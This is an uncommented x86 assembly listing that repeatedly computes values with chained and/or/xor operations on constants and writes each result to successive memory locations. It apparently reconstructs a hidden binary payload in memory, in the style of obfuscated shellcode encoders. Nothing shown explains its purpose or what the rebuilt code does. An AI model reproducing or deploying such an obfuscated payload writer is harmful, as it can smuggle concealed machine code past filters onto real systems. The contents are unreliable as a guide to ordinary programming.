mov dword [ebx], eax
add ebx, ecx
or eax, 0x4a17da5b
xor eax, 0x5a01c7a3
and eax, 0x15211c0
or eax, 0xae00c006
mov dword [ebx], eax
add ebx, ecx
and eax, 0x72c0b4ec
and eax, 0x22408000
or eax, 0x44074f09
mov dword [ebx], eax
add ebx, ecx
and eax, 0x114eb4e6
or eax, 0x3186f1ac
and eax, 0x31c28188
or eax, 0xce080851
mov dword [ebx], eax
add ebx, ecx
and eax, 0x541274a
and eax, 0x4000000
or eax, 0x30bede92
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3ad4d7f5
and eax, 0x6620924
or eax, 0x60856018
mov dword [ebx], eax
add ebx, ecx
or eax, 0xcb857f1
and eax, 0x6e616e69
or eax, 0x81000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3a9cc660
or eax, 0x1808c901
and eax, 0xc18c4801
or eax, 0x20214e4
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7d2438b1
and eax, 0x9d2a2051
or eax, 0x410208
mov dword [ebx], eax
add ebx, ecx
and eax, 0x62049e58
and eax, 0
or eax, 0x68dfd006
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xc796208
and eax, 0x54033f48
and eax, 0x40021208
or eax, 0x184562
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1a45aff9
and eax, 0x4018bb5a
or eax, 0x1200004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x469e9eb9
and eax, 0x45d3aa3
and eax, 0x42002
or eax, 0x38e28f44
mov dword [ebx], eax
add ebx, ecx
and eax, 0xb0b6622
and eax, 0x8020400
or eax, 0x30380004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x27cc20ce
xor eax, 0xf95c80c
and eax, 0x26104808
or eax, 0x40023220
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x59af755b
and eax, 0x4d600f19
and eax, 0xc000f11
or eax, 0x4204104c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x77648e2
and eax, 0x492051cd
or eax, 0x8080a000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x44637ca5
and eax, 0x1eb3e80c
and eax, 0xc01c808
or eax, 0xe2141381
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x69ea793e
and eax, 0x72da090
or eax, 0x68001848
mov dword [ebx], eax
add ebx, ecx
or eax, 0x591e4eec
and eax, 0x61696ec
or eax, 0x80c00002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x60dfe85f
or eax, 0x6f6b9e2b
and eax, 0xea4b5083
or eax, 0x10000140
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7b7c754f
and eax, 0x674d78dc
and eax, 0x1052084
or eax, 0x8a05a41
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6ba0fdb
xor eax, 0x2b945be4
and eax, 0x20010018
or eax, 0x5b800040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x357f906a
and eax, 0x20010040
or eax, 0x466c7130
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2a79e6bb
or eax, 0x5c4ae490
and eax, 0x2660a0e9
or eax, 0x80800804
mov dword [ebx], eax
add ebx, ecx
or eax, 0xf44afb6
and eax, 0xa6ae01d
and eax, 0x40a001
or eax, 0xb11f4a22
mov dword [ebx], eax
add ebx, ecx
and eax, 0xd566857
and eax, 0x462c3632
and eax, 0x40000
or eax, 0x9eb2993c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x577ac8a
and eax, 0x99b1989c
or eax, 0x20000240
mov dword [ebx], eax
add ebx, ecx
or eax, 0x59a033ae
xor eax, 0x7efb7190
and eax, 0x83408020
or eax, 0x20b13110
mov dword [ebx], eax
add ebx, ecx
and eax, 0x479f1bd2
and eax, 0x2900110
or eax, 0x4c4ae065
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5fd1572c
and eax, 0x91018
or eax, 0xac000882
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6e208588
or eax, 0x4b746a70
and eax, 0x2d643fda
or eax, 1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4c878bd3
xor eax, 0x26b72bf1
and eax, 0x47540c59
or eax, 0x90006000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x773847ed
and eax, 0x10104449
or eax, 0x80413924
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5ad5ab44
and eax, 0xc0805621
or eax, 0x4430900
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x72393646
and eax, 0xa6a86964
or eax, 0x40011618
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4a7f774c
xor eax, 0x7a671154
and eax, 0x38444600
or eax, 0x451108c3
mov dword [ebx], eax
add ebx, ecx
or eax, 0x26c35432
xor eax, 0x62287ed7
and eax, 0x4f0024
or eax, 0xc2001bc2
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4bba3169
and eax, 0x83970b8e
or eax, 0x8400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6939b345
and eax, 0x1010100
or eax, 0x866c50db
mov dword [ebx], eax
add ebx, ecx
or eax, 0x112b4f89
and eax, 0x6654bd1
or eax, 0x48800024
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4eb703c8
or eax, 0x5e1dc2d
and eax, 0xf75cc78
or eax, 0x20082002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x49968a93
and eax, 0x48800
or eax, 0x94c16060
mov dword [ebx], eax
add ebx, ecx
or eax, 0x9a5ace7
and eax, 0x9c000023
or eax, 0x2081308
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2b55990
and eax, 0x2000100
or eax, 0x696cecbd
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6445f9de
and eax, 0x6168a899
or eax, 0x10020200
mov dword [ebx], eax
add ebx, ecx
or eax, 0x17362395
and eax, 0x130c0301
or eax, 0x4000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1e1fbdf6
and eax, 0x811a045
or eax, 0x90c00108
mov dword [ebx], eax
add ebx, ecx
and eax, 0xe057c79
and eax, 0x8012041
or eax, 0x818a4b26
mov dword [ebx], eax
add ebx, ecx
or eax, 0x76decccb
and eax, 0x7d9da66e
or eax, 0x200010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x782a8a97
and eax, 0x5972481
or eax, 0x92004304
mov dword [ebx], eax
add ebx, ecx
and eax, 0x47f28576
and eax, 0x5020004
or eax, 0xf86d98b8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x440f8666
xor eax, 0x54720e4
and eax, 0xd820241a
or eax, 0x130140
mov dword [ebx], eax
add ebx, ecx
and eax, 0x45222546
or eax, 0x3bc0a71b
and eax, 0x1322814a
or eax, 0x4015880
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x604baa40
xor eax, 0x7e95b009
and eax, 0x8598300
or eax, 0xd002205c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x41cd9809
and eax, 0x490008
or eax, 0xa6323111
mov dword [ebx], eax
add ebx, ecx
and eax, 0x16442b85
and eax, 0x1133db74
and eax, 0x100
or eax, 0x84215090
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x61fc12af
xor eax, 0x3ffe8e97
and eax, 0x8a2289a8
or eax, 0x21c81015
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3f7c3a41
and eax, 0x3ce6bb80
or eax, 0x4002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x9b45a7
and eax, 0x20102
or eax, 0xc91c0811
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2e574e8a
and eax, 0x78eedf8f
and eax, 0x60400289
or eax, 0x1c303030
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x37ba59b3
or eax, 0x5b65c6e
and eax, 0x4aae5d46
or eax, 0x20008001
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1d1c61eb
and eax, 0x87431ac
and eax, 0
or eax, 0x7cca4e43
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1715f5c2
and eax, 0x40
or eax, 0x49353928
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2bc2d16
and eax, 0xb89003c
or eax, 0x30048b81
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x74011e3c
and eax, 0x4e0c1481
or eax, 0x30400058
mov dword [ebx], eax
add ebx, ecx
and eax, 0x31ee6939
and eax, 0xc0019
or eax, 0x4333764
mov dword [ebx], eax
add ebx, ecx
and eax, 0x69832b67
and eax, 0x3059fcf8
and eax, 0x12040
or eax, 0x98b89680
mov dword [ebx], eax
add ebx, ecx
or eax, 0x30801a62
xor eax, 0x6d5634ba
and eax, 0xd4a60810
or eax, 0x2107501
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2fd56385
xor eax, 0x4797530e
and eax, 0x1100b
or eax, 0x10f040b0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x662221ac
and eax, 0x200028
or eax, 0x97c5ce16
mov dword [ebx], eax
add ebx, ecx
and eax, 0x442bae2c
xor eax, 0x3a8e9d8e
and eax, 0x3c231302
or eax, 0x4050a410
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x738b5631
and eax, 0x7c0a021
or eax, 0xc00410c0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2552fd66
and eax, 0x5002040
or eax, 0x42840481
mov dword [ebx], eax
add ebx, ecx
and eax, 0x32d1f112
or eax, 0x7b975bd0
and eax, 0x4b076080
or eax, 0x4000023
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6ca78ebe
and eax, 0x44010002
or eax, 0x1182a5c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x14c828b7
and eax, 0x509002c1
or eax, 0x82066002
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7bdbaf06
and eax, 0x7b92c585
or eax, 0x4001018
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4573eb59
and eax, 0x20a01a00
or eax, 0xc4160029
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x10343519
and eax, 0x74020710
or eax, 0x3749004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x10cc7a76
or eax, 0x61169ab1
and eax, 0x428a01
or eax, 0x82894502
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x661a9e9f
or eax, 0x67d7e122
and eax, 0x6682702a
or eax, 0x10200e01
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6b1f0fa4
and eax, 0x8b15008
or eax, 0x20000470
mov dword [ebx], eax
add ebx, ecx
and eax, 0x774b748e
and eax, 0x20001008
or eax, 0x11f2aba2
mov dword [ebx], eax
add ebx, ecx
and eax, 0x20c5dfef
xor eax, 0x6cbcc095
and eax, 0x40581813
or eax, 0x3100a440
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3a3e684b
and eax, 0x4b048410
or eax, 0x14890ac4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1db02710
or eax, 0x3a930361
and eax, 0x2a910330
or eax, 0x80447888
mov dword [ebx], eax
add ebx, ecx
or eax, 0x24e82104
or eax, 0x5e3c3adc
and eax, 0xa29461f4
or eax, 0x1008001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x766992a0
xor eax, 0x6b4c1c42
and eax, 0x143063b7
or eax, 0x624a0048
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7726f524
and eax, 0x6d4829a
and eax, 0x2000000
or eax, 0x3197ab6a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x44eb2017
and eax, 0x800000
or eax, 0x7c300a30
mov dword [ebx], eax
add ebx, ecx
or eax, 0x9546567
xor eax, 0x2bd50386
and eax, 0x60024c1
or eax, 0x99e130c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x469286e2
and eax, 0x20240
or eax, 0x5908301f
mov dword [ebx], eax
add ebx, ecx
and eax, 0x75f23c46
and eax, 0x11023040
or eax, 0xcb9c428
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7b43199f
xor eax, 0x5cfff5a3
and eax, 0x2050800
or eax, 0x4480c0a8
mov dword [ebx], eax
add ebx, ecx
and eax, 0x74a61cde
and eax, 0x4040080
or eax, 0x2362c334
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x20231b8a
xor eax, 0x78a70c33
and eax, 0x4642140d
or eax, 0x140022
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1fdd6af
or eax, 0x73522088
and eax, 0x75a2200
or eax, 0x8001c35
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x615cdadb
and eax, 0x24022406
or eax, 0x90311000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7a8958cc
and eax, 0x56283c8a
or eax, 0x40031
mov dword [ebx], eax
add ebx, ecx
or eax, 0x506cdd1f
and eax, 0x506461a8
or eax, 0x8120040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2631c16c
and eax, 0x2811c024
or eax, 0x81881800
mov dword [ebx], eax
add ebx, ecx
and eax, 0x830b5da
and eax, 0x109000
or eax, 0x76a12ab0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4a90f80c
xor eax, 0x5dc90a6f
and eax, 0x21387051
or eax, 0x8c810c0c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5df58afa
and eax, 0x15e08306
and eax, 0x800000
or eax, 0x4a5afefd
mov dword [ebx], eax
add ebx, ecx
or eax, 0x44e1388d
xor eax, 0x7e08e081
and eax, 0x401c0c
or eax, 0x43040002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3481147b
and eax, 0x408
or eax, 0xd3d78144
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6be744da
or eax, 0x15e579ed
and eax, 0xe301b838
or eax, 0x200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x65c50de5
xor eax, 0x40ff6830
and eax, 0x401b48c0
or eax, 0x20042010
mov dword [ebx], eax
add ebx, ecx
and eax, 0x861e76e
xor eax, 0x375618e6
and eax, 0x7542824
or eax, 0x40280258
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x56d36680
and eax, 0x1060018
or eax, 0xae402102
mov dword [ebx], eax
add ebx, ecx
or eax, 0x502cf0c8
xor eax, 0x26ee967f
and eax, 0xc1802724
or eax, 0x2031900a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2e0bd5af
and eax, 0x1850e
or eax, 0x1bfc28d1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1c703687
and eax, 0x4fb56c35
and eax, 0x200401
or eax, 0xc0049320
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x63023914
and eax, 0x82248425
or eax, 0x4c105148
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xca36380
xor eax, 0x253e1f94
and eax, 0xa6812158
or eax, 0x8044080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x66ade938
and eax, 0xae094970
or eax, 0x1100000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xec837c6
and eax, 0xa0d168a2
or eax, 0x1e0e8009
mov dword [ebx], eax
add ebx, ecx
or eax, 0x33b5a576
and eax, 0x90e1e47d
or eax, 0x40001200
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3a08fcb1
xor eax, 0x77d1c1c4
and eax, 0xd031f1
or eax, 0x1824880a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2f9b63e6
and eax, 0xee19a0f
or eax, 0xc0000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x771ddbfa
or eax, 0x7e3e0f13
and eax, 0x97400871
or eax, 0x13008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xe99e3b
or eax, 0x72e594c2
and eax, 0xd0018682
or eax, 0x810413c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x50e14a17
xor eax, 0x4822590e
and eax, 0x509490
or eax, 0x68046846
mov dword [ebx], eax
add ebx, ecx
or eax, 0x55854d70
and eax, 0x2d05e490
or eax, 0x800a0000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x271850d3
xor eax, 0x15cab4d1
and eax, 0xf4c0010
or eax, 0x40003c60
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5ba0d76c
xor eax, 0x282c7825
and eax, 0x30c4444
or eax, 0x18131310
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4ccbcb74
and eax, 0x11909c00
or eax, 0x20222186
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6445fa91
xor eax, 0x47bd4e4d
and eax, 0x43a16080
or eax, 0x90400112
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6482fcaf
and eax, 0xf5cd76f
and eax, 0x340410f
or eax, 0x50270800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2dc30253
and eax, 0x204010
or eax, 0x8010a000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x513a4077
and eax, 0x7e6ee61b
and eax, 0x100a4001
or eax, 0x25d51c20
mov dword [ebx], eax
add ebx, ecx
and eax, 0x44cb2bd3
or eax, 0x7fdf259a
and eax, 0x66062c19
or eax, 0xc024
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1c7623b2
and eax, 0x3929a5ea
and eax, 0x2820018a
or eax, 0x45560204
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4b06dd7c
and eax, 0xd16d462
or eax, 0x10090001
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3c4d0303
and eax, 0x539361
or eax, 0x200880
mov dword [ebx], eax
add ebx, ecx
or eax, 0x24332cd3
and eax, 0x521e60
or eax, 0xd2884004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x679ee404
or eax, 0x7fc70720
and eax, 0xaa033300
or eax, 0x104013
mov dword [ebx], eax
add ebx, ecx
and eax, 0xc4be86d
or eax, 0x1b97522b
and eax, 0x1057202
or eax, 0x408d04
mov dword [ebx], eax
add ebx, ecx
and eax, 0x69136603
and eax, 0x1004400
or eax, 0x60ce08ac
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3ed884b3
and eax, 0xa08000b
or eax, 0x10300
mov dword [ebx], eax
add ebx, ecx
or eax, 0x64d70b90
and eax, 0x24df0a1a
or eax, 0x10009464
mov dword [ebx], eax
add ebx, ecx
or eax, 0x673e8cfc
and eax, 0x20031c72
or eax, 0x80004100
mov dword [ebx], eax
add ebx, ecx
and eax, 0x70087484
and eax, 0x5400
or eax, 0x1b1aa850
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2b318f7e
and eax, 0x20095300
or eax, 0x8b500001
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3cbb485b
and eax, 0x2800000
or eax, 0x481084a4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x47c12740
and eax, 0x500064
or eax, 0xe2884c03
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x61da83c
and eax, 0x440600a
or eax, 0x1b1a1904
mov dword [ebx], eax
add ebx, ecx
and eax, 0x63a5c675
and eax, 0x4000
or eax, 0xc0838949
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3f940ca4
and eax, 0
or eax, 0x3432471b
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1b320a99
and eax, 0x1c200399
or eax, 0x488024
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7641140d
and eax, 0x70c8a3f9
and eax, 0x210
or eax, 0x18021809
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xb7be21e
and eax, 0x1608800
or eax, 0x4c040180
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xf8e9a23
and eax, 0x40801223
or eax, 0xa5046450
mov dword [ebx], eax
add ebx, ecx
or eax, 0x773b6eb5
or eax, 0x6ba7dbe
and eax, 0xe69d2224
or eax, 0x8408000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3b692215
and eax, 0xb36d2035
or eax, 0x5580
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3fd06ff5
and eax, 0x12894f11
or eax, 0x20002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6cea197a
xor eax, 0xc3d2137
and eax, 0x42584240
or eax, 0xd230801
mov dword [ebx], eax
add ebx, ecx
or eax, 0x566c64a5
or eax, 0x6fae727c
and eax, 0x5d9d0410
or eax, 2
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7cc9f434
or eax, 0x6230e590
and eax, 0x45d121b6
or eax, 0x80000049
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1dc7c74d
xor eax, 0x6b3a03a
and eax, 0x3228126
or eax, 0xf8811480
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5c193c44
or eax, 0x135e2abf
and eax, 0xdad6ae43
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x180a7a9b
and eax, 0x42444480
or eax, 0x38212020
mov dword [ebx], eax
add ebx, ecx
and eax, 0xd74e4db
and eax, 0x8002080
or eax, 0x5203934a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x646b87cf
xor eax, 0x67c0ad78
and eax, 0x81811
or eax, 0x40440448
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x482b3896
and eax, 0x7acf47e3
and eax, 0x8410043
or eax, 0x92a85b28
mov dword [ebx], eax
add ebx, ecx
and eax, 0x26e82935
xor eax, 0x12c55255
and eax, 0x280a60
or eax, 0x9c2808b
mov dword [ebx], eax
add ebx, ecx
or eax, 0x57899acb
and eax, 0x58a00a09
or eax, 0x20040500
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6820db6d
and eax, 0x9404
or eax, 0x23730813
mov dword [ebx], eax
add ebx, ecx
and eax, 0x13c1f880
xor eax, 0xf6ad998
and eax, 0x4020090
or eax, 0x33401203
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x78d18ad7
or eax, 0x187329d
and eax, 0x4483a095
or eax, 0xa0684120
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xfc28bb
and eax, 0x8017c106
or eax, 0x8e80660
mov dword [ebx], eax
add ebx, ecx
and eax, 0xe93c0c
and eax, 0x400404
or eax, 0x51104983
mov dword [ebx], eax
add ebx, ecx
and eax, 0x167ffd84
or eax, 0x3d7a336a
and eax, 0x1120644c
or eax, 0x80848000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7e0c0c4e
and eax, 0x7d078fc
and eax, 0x5806804
or eax, 0x688302
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6c34d2dd
and eax, 0x4200004
or eax, 0x5a9634d0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7238f66a
and eax, 0x39ef59bc
and eax, 0x10001000
or eax, 0xd4c28d0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5df3c85f
and eax, 0xdeb4884
or eax, 0x2000420
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3794bae1
and eax, 0x309b0683
and eax, 0x800080
or eax, 0x75646d31
mov dword [ebx], eax
add ebx, ecx
or eax, 0x538ee579
xor eax, 0x817988e
and eax, 0x6ed04546
or eax, 0x80048000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x231c7a7d
or eax, 0x7eadce86
and eax, 0x488988c0
or eax, 0x81002038
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x18e7e6e4
and eax, 0xc10a0c18
or eax, 0x2c10a180
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x346a10
and eax, 0x6df4aeb5
and eax, 0xc008280
or eax, 0x80500018
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6df5ed4e
and eax, 0x8008
or eax, 0x218c5c87
mov dword [ebx], eax
add ebx, ecx
and eax, 0x756a27c4
and eax, 0x6c7c9b17
and eax, 0x20000000
or eax, 0x85d16601
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7ff15ee8
and eax, 0x40001009
or eax, 0x582c212
mov dword [ebx], eax
add ebx, ecx
and eax, 0x394f68ea
xor eax, 0x860eff9
and eax, 0x9208001
or eax, 0xf2094008
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3ca06e13
or eax, 0x4c8a960c
and eax, 0x8aa5405
or eax, 0x820521b0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x15f30ed2
and eax, 0x1b007323
or eax, 0x20a30408
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x61332974
and eax, 0x48105608
or eax, 0x80248100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6729ba2e
and eax, 0xa81d0820
or eax, 0x408292c1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7d4d6c63
or eax, 0x13cf1e46
and eax, 0x934f0600
or eax, 0x28000018
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5daeefbc
and eax, 0x190c0610
or eax, 0x42b03022
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x15488a8c
and eax, 0x40601038
or eax, 0x80040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x29990666
and eax, 0x80040
or eax, 0x8901008
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5013572a
xor eax, 0x763e4534
and eax, 0x400e4118
or eax, 0xc10840
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4a9b2e63
and eax, 0xa546401
or eax, 0x280884
mov dword [ebx], eax
add ebx, ecx
or eax, 0x22c6644a
xor eax, 0x1bb67d87
and eax, 0x1400140
or eax, 0x2372ca0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6bea414
and eax, 0x1c10160
or eax, 0x8a30240b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1c68a1ac
and eax, 0x3dfc9be5
and eax, 0x14888085
or eax, 0xc0647c0a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x13e727e0
xor eax, 0x76d4b64b
and eax, 0xa01149a0
or eax, 0x4404b051
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1502ee4c
and eax, 0x73db8585
and eax, 0x8000
or eax, 0xa7c52036
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3bafde3
or eax, 0x5d4e5442
and eax, 0x6d4f0d43
or eax, 0x2208
mov dword [ebx], eax
add ebx, ecx
or eax, 0x44f3fe6c
and eax, 0x44043e4a
or eax, 0x12000080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6e0d887e
and eax, 0x1dbb3420
and eax, 0x10083400
or eax, 0xc1e60b52
mov dword [ebx], eax
add ebx, ecx
or eax, 0x359742d9
and eax, 0x419b0900
or eax, 0x8008000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1932c7b4
and eax, 0x8120100
or eax, 0x62695ca9
mov dword [ebx], eax
add ebx, ecx
and eax, 0x61761e48
and eax, 0x4723a572
and eax, 0x40000000
or eax, 0x8a4509eb
mov dword [ebx], eax
add ebx, ecx
and eax, 0x34ad66a9
and eax, 0xa8
or eax, 0x32b2c414
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6c147678
and eax, 0x4020
or eax, 0xc4c10a42
mov dword [ebx], eax
add ebx, ecx
and eax, 0xa0427b7
and eax, 0x4ccdb3bc
and eax, 0x20
or eax, 0xaabfd01b
mov dword [ebx], eax
add ebx, ecx
and eax, 0x188a48fd
xor eax, 0x51df57d3
and eax, 0x49541780
or eax, 0xa0a80015
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7ab2f0a6
or eax, 0x6d10cda9
and eax, 0xf4ac68c
or eax, 0x10000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x18c2f6e
and eax, 0x2070902
or eax, 0x6118141d
mov dword [ebx], eax
add ebx, ecx
and eax, 0xcc4cafb
xor eax, 0x7fd04d34
and eax, 0x47c40121
or eax, 0x80211210
mov dword [ebx], eax
add ebx, ecx
or eax, 0x697bfa5d
and eax, 0x2aef034c
or eax, 0x10000400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1ad8ca7
and eax, 0x2030b
or eax, 0x41d1404
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3b89f3bf
or eax, 0x6f3120b9
and eax, 0x63102205
or eax, 0x80848c00
mov dword [ebx], eax
add ebx, ecx
or eax, 0x71069e02
and eax, 0x2160005
or eax, 0x86141e0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x755ff95e
and eax, 0x6420a0a8
or eax, 0x150544
mov dword [ebx], eax
add ebx, ecx
and eax, 0x492e6a6f
or eax, 0x465978ea
and eax, 0x4469004a
or eax, 0x29828201
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6c053b77
or eax, 0x53452c0e
and eax, 0x1012e06
or eax, 0x80900000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x193fbb3b
and eax, 0x246ba9dd
and eax, 0x288100
or eax, 0x54564a0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x461457b1
and eax, 0x105ea5d0
and eax, 0x58a000
or eax, 0x94810a2f
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5293c2d
and eax, 0x1b00400
or eax, 0x2e0621dd
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x85cfd81
and eax, 0x21c80000
or eax, 0xd0112580
mov dword [ebx], eax
add ebx, ecx
and eax, 0x10d03722
and eax, 0x800000
or eax, 0x8a2480d1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6debb752
and eax, 0x8200010
or eax, 0x24473020
mov dword [ebx], eax
add ebx, ecx
or eax, 0x31fba553
and eax, 0x30660030
or eax, 0x80004284
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7511d3e5
or eax, 0x20d987f3
and eax, 0x61f58490
or eax, 0xa006000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x309ee6ed
xor eax, 0x99cbeca
and eax, 0x20005802
or eax, 0x10e305b4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x229406bb
xor eax, 0x7c443162
and eax, 0x64310804
or eax, 0x1110
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5d06b62d
or eax, 0x9295b52
and eax, 0x9080844
or eax, 0xa080a4a9
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3265f699
or eax, 0x5cb419b8
and eax, 0x829d8068
or eax, 0
mov dword [ebx], eax
